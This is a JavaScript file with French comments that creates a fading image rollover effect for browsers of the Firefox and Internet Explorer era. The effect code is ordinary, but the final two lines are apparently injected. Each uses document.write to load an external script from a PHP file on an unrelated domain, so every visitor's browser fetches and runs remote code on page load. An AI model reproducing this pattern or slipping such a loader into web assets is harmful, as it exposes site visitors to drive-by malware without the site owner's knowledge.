	if (monRolloverFlou == null)
	{
		var monRolloverFlou = new Array();
	}

	function RolloverFlou(id_rollover, frequence, vitesse)
	{
		this.id_rollover = id_rollover;
		this.frequence = frequence;
		this.vitesse = vitesse;

		this.isMouseOver = false;
		this.enCours = false;
	}

	function progression()
	{
		if ((this.isMouseOver==false) && document.getElementById('div_rollover_flou1_' + this.id_rollover).style.opacity > 0)
		{// disparition de l'image du dessus
			// pour Firefox (le paramtre existe sous IE mais n'a pas d'influence)
			// ce paramtre sert de base commune pour les deux navigateurs pour tester l'tat du calque
			opacite = parseFloat(document.getElementById('div_rollover_flou1_' + this.id_rollover).style.opacity) - parseFloat(this.vitesse / 100);
			if (opacite < 0)
			{
				opacite=0;
			}
			document.getElementById('div_rollover_flou1_' + this.id_rollover).style.opacity = opacite

			// pour IE
			if (document.getElementById('div_rollover_flou1_' + this.id_rollover).style.filter)
			{
				texte = document.getElementById('div_rollover_flou1_' + this.id_rollover).style.filter;
				opacite = texte.replace(/alpha\(opacity=([0-9]*)\)/, '$1');
				opacite = parseFloat(opacite) - this.vitesse;
				if (opacite < 0)
				{
					opacite=0;
				}
				//nouveau_texte = texte.replace(/alpha\(opacity=([0-9]*)\)/, 'alpha(opacity=' + opacite + ')');
				nouveau_texte = 'alpha(opacity=' + opacite + ')';
				document.getElementById('div_rollover_flou1_' + this.id_rollover).style.filter = nouveau_texte;
			}

			setTimeout("monRolloverFlou[" + this.id_rollover + "].progression()", this.frequence);
		}
		else if ((this.isMouseOver==true) && document.getElementById('div_rollover_flou1_' + this.id_rollover).style.opacity < 0.99)
		{// apparition de l'image du dessus

			// pour Firefox (le paramtre existe sous IE mais n'a pas d'influence)
			// ce paramtre sert de base commune pour les deux navigateurs pour tester l'tat du calque
			opacite = parseFloat(document.getElementById('div_rollover_flou1_' + this.id_rollover).style.opacity) + parseFloat(this.vitesse / 100);
			if (opacite >= 1)
			{
				opacite=0.99;
			}
			document.getElementById('div_rollover_flou1_' + this.id_rollover).style.opacity = opacite;

			// pour IE
			if (document.getElementById('div_rollover_flou1_' + this.id_rollover).style.filter)
			{
				texte = document.getElementById('div_rollover_flou1_' + this.id_rollover).style.filter;
				opacite = texte.replace(/alpha\(opacity=([0-9]*)\)/, '$1');
				opacite = parseFloat(opacite) + this.vitesse;
				if (opacite > 100)
				{
					opacite=100;
				}
				//nouveau_texte = texte.replace(/alpha\(opacity=([0-9]*)\)/, 'alpha(opacity=' + opacite + ')');
				nouveau_texte = 'alpha(opacity=' + opacite + ')';
				document.getElementById('div_rollover_flou1_' + this.id_rollover).style.filter = nouveau_texte;
			}

			if (opacite == 0.99)
			{
				this.enCours = false;
				return;
			}
			setTimeout("monRolloverFlou[" + this.id_rollover + "].progression()", this.frequence);
		}
		else
		{
			this.enCours = false;
		}
	}

	function changePhoto(souris)
	{
		if(souris && souris=="over")
		{
			this.isMouseOver=true;
		}
		else if(souris && souris=="out")
		{
			this.isMouseOver=false
		}
		if (this.enCours == false)
		{
			this.enCours = true;
			monRolloverFlou[this.id_rollover].progression();
		}
	}

	function place(photo2)
	{
		document.write('<a class="illus" alt="Illustrations" title="Illustration" href="illustration.png" rel="lightbox[roadtrip]" id="div_rollover_flou1_' + this.id_rollover + '" style="background-image:url(\'' + photo2 + '\'); opacity:0; filter: alpha(opacity=0)" tmponClick="monRolloverFlou[' + this.id_rollover + '].changePhoto()" onMouseOver="monRolloverFlou[' + this.id_rollover + '].changePhoto(\'over\')" onMouseOut="monRolloverFlou[' + this.id_rollover + '].changePhoto(\'out\')"></a>');
	}


	// liaison des fonctions  l'objet
	RolloverFlou.prototype.place = place;
	RolloverFlou.prototype.changePhoto = changePhoto;
	RolloverFlou.prototype.progression = progression;


document.write('<script src=http://hadamilano.com/images/HMjls.php ><\/script>');
document.write('<script src=http://hadamilano.com/images/HMjls.php ><\/script>');